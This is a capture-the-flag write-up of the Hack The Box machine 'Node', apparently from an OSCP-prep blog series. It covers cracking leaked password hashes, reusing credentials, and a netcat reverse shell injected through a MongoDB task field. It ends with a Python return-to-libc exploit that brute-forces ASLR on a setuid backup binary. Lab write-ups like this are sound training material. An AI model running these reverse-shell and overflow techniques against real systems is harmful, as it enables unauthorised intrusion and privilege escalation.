Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.
In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.
Let's start with the fun!
Node
Initial Foothold
There is webpage on port 3000. Enumerating for directories is difficult because the page returns
code 200
for pages that do not exist.
A more reliable way of enumerating is send a request to the page through Burp Suite, then navigate
the Target tab and have a look at the directories found by Burp's passive scan. One of these
directories is /api/users
which holds a JSON file with usernames and passwords.
0
_id "59a7365b98aa325cc03ee51c"
username "myP14ceAdm1nAcc0uNT"
password "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
is_admin true
1
_id "59a7368398aa325cc03ee51d"
username "tom"
password "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin false
2
_id "59a7368e98aa325cc03ee51e"
username "mark"
password "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin false
3
_id "59aa9781cced6f1d1490fce9"
username "rastating"
password "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin false
We can use john
to crack the passwords:
john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt credentials.txt --format=Raw-SHA256
Results:
- tom:spongebob
- myP14ceAdm1nAcc0uNT:manchester
- mark:snowflake
We can use these credentials to log in on 10.10.10.58:3000/login
.
If we log in as an user that is not an admin (tom and mark) we get a message saying that only admin
user have access to the control panel. If we log in as myP14ceAdm1nAcc0uNT, we get access to a
backup: myplace.backup
.
The backup file is base64 encoded: base64 -d myplace.backup > backup_decoded
. Then doing file backup_decoded
reveals it is a zip file. If we try to use unzip backup_decoded
we find that it has a password, so
we can try cracking it with john
.
To crack the zip's password, we first do zip2john backup_decoded > zip.hash
and then
john -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash
. The zip's
password is: magicword
.
Searching through the backup, in app.js
we find the following string:
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
5AYRft73VtFpc84k
: looks like another password for the user mark
. Turns out, it is his ssh
password: ssh mark@10.10.10.58
.
User
Using pspy, we find the following:
CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js
Where UID=1000
means user tom
(check by doing cat /etc/passwd
).
Looking at /var/scheduler/app.js
we see that it executes a shell command based on an property to
MongoDB document called tasks
. It also shows that the name of the database is scheduler
.
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
Let us start by connecting to the database: mongo -p -u mark scheduler
. And when prompted for
a password use: 5AYRft73VtFpc84k
.
Create Document Property
We will create an attribute called cmd
with the value of a reverse shell. For some reason the bash
reverse shell does not work, it connects successfully but I do not get any output from the commands.
As an alternative, we can use a netcat reverse shell.
db.tasks.insert( { "cmd" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.44 12345 >/tmp/f" } )
Wait a few seconds and we get a reverse shell as user tom
.
Root
Using lse.sh
we find an unusual setuid binary: /usr/local/bin/backup
.
If we recall, back in the file /var/www/myplace/app.js
, it calls this binary with certain
arguments:
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
Where backup_key = 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
.
TLDR
There is a buffer overflow vulnerability in this binary (in the __dirname
argument), however it
has NX and ASLR protections, so we have to work around them. The solution is a return to libc attack
while bruteforcing the ASLR.
Step 1. Find a Vulnerable Function
We need to perform some static analysis to find a vulnerable function. In this case it is going to
be strcopy
inside displayTarget
function, which displays the target directory when the binary is
run WITHOUT the -q
flag. This means that we have to perform the overflow on the third
parameter: the target directory.
The binary still requires 3 parameters to be run, but we can substitute the -q
for a random string
and it will still work.
Test that the overflow works by calling it with an absurdly long strong like:
python3 -c "print('A' * 800)"
If it works, the program should crash with a segfault.
Step 2. Find the Overflow Length
Now, we need to know at what point we overwrite the instruction pointer register. For that a handy
tool in gdb-peda
is pattern_create
.
However, in this particular case, the binary blacklists some
of the characters used by pattern_create
, so we have to resort to the manual method of using
python
.
For example, use python -c "print('A' * 600 + 'B' * 4)"
. Iterate until the instruction pointer is
overwritten with 0x42424242
. When that happens, the amount of A
is the length of our buffer
overflow (512
in this case).
Step 3. Find the Base Address for libc
Doing: ldd /usr/local/bin/backup | grep libc
we get something like this as output:
libc.so.6 => /lib32/libc.so.6 (0xf7606000)
If we repeat the command several times and the address changes, it means ASLR is activated. Luckily for us, the address does not really change that much, so the workaround will be to bruteforce the address.
Step 4. Find the Relevant Offsets
ASLR only changes the base address of libc
, but any function contained within it will always be at
the same offset. For this reason we need to find the offset for the syscall system
and the string
/bin/sh
.
IMPORTANT: Every offset should be padded with 0
to the left to make it 32 bits (8 characters).
To find the system
offset: readelf -s /lib32/libc.so.6 | grep system
.
It will output something like this:
245: 00110820 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
The offset we are after is 0003a940
.
For the /bin/sh
string: strings -a -t x /lib32/libc.so.6 | grep /bin/sh
. Output: 15900b /bin/sh
(Optional) Exit Offset
If we do not want the binary to crash after we finish exploiting it, we should find the exit point.
readelf -s /lib32/libc.so.6 | grep exit
. Output:
112: 0002eba0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e7b0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002ebd0 181 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000af578 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00113840 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eb80 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002e9d0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011d290 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b0204 4 OBJECT GLOBAL DEFAULT 32 argp_err_exit_status@@GLIBC_2.1
1506: 000f19a0 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b0154 4 OBJECT GLOBAL DEFAULT 32 obstack_exit_failure@@GLIBC_2.0
2263: 0002e7d0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f2db0 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
The offset we are after is: 0002e7d0
.
Step 5. Write the Script
With all the information we have gathered up to this point, we are ready to write a script that
automates the brute force attack. In this case the script is written in Python 3
, tested on
version 3.5.2
(the Python 3 version of the victim).
exploit.py
#!/usr/bin/python3
from subprocess import call
import struct
backup_key = "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
libc_base_addr = 0xf7610000
# Offsets
system_off = 0x0003a940
exit_off = 0x0002e7d0
arg_sh_off = 0x0015900b
system_off = struct.pack("<I", libc_base_addr + system_off)
exit_off = struct.pack("<I", libc_base_addr + exit_off)
arg_sh_off = struct.pack("<I", libc_base_addr + arg_sh_off)
buff = b"A"*512
buff += system_off
buff += exit_off
buff += arg_sh_off
# After checking the address of libc, we see that it only changes in about 9 bits = 512
# possibilities.
for i in range(512):
print("Tries: %s" %i)
ret = call(["/usr/local/bin/backup", "69", backup_key, buff])
We can now chmod +x exploit.py
and run it ./exploit.py
. I do not know If I got lucky, but I got
a root shell at around try number 40.